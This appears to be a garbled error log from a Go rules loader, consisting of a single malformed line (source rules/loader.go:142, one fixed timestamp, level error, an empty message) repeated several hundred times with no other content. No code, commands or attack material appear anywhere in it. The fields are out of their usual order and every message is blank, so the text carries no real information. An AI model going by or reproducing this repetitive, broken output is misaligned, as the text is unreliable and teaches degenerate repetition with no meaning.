source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 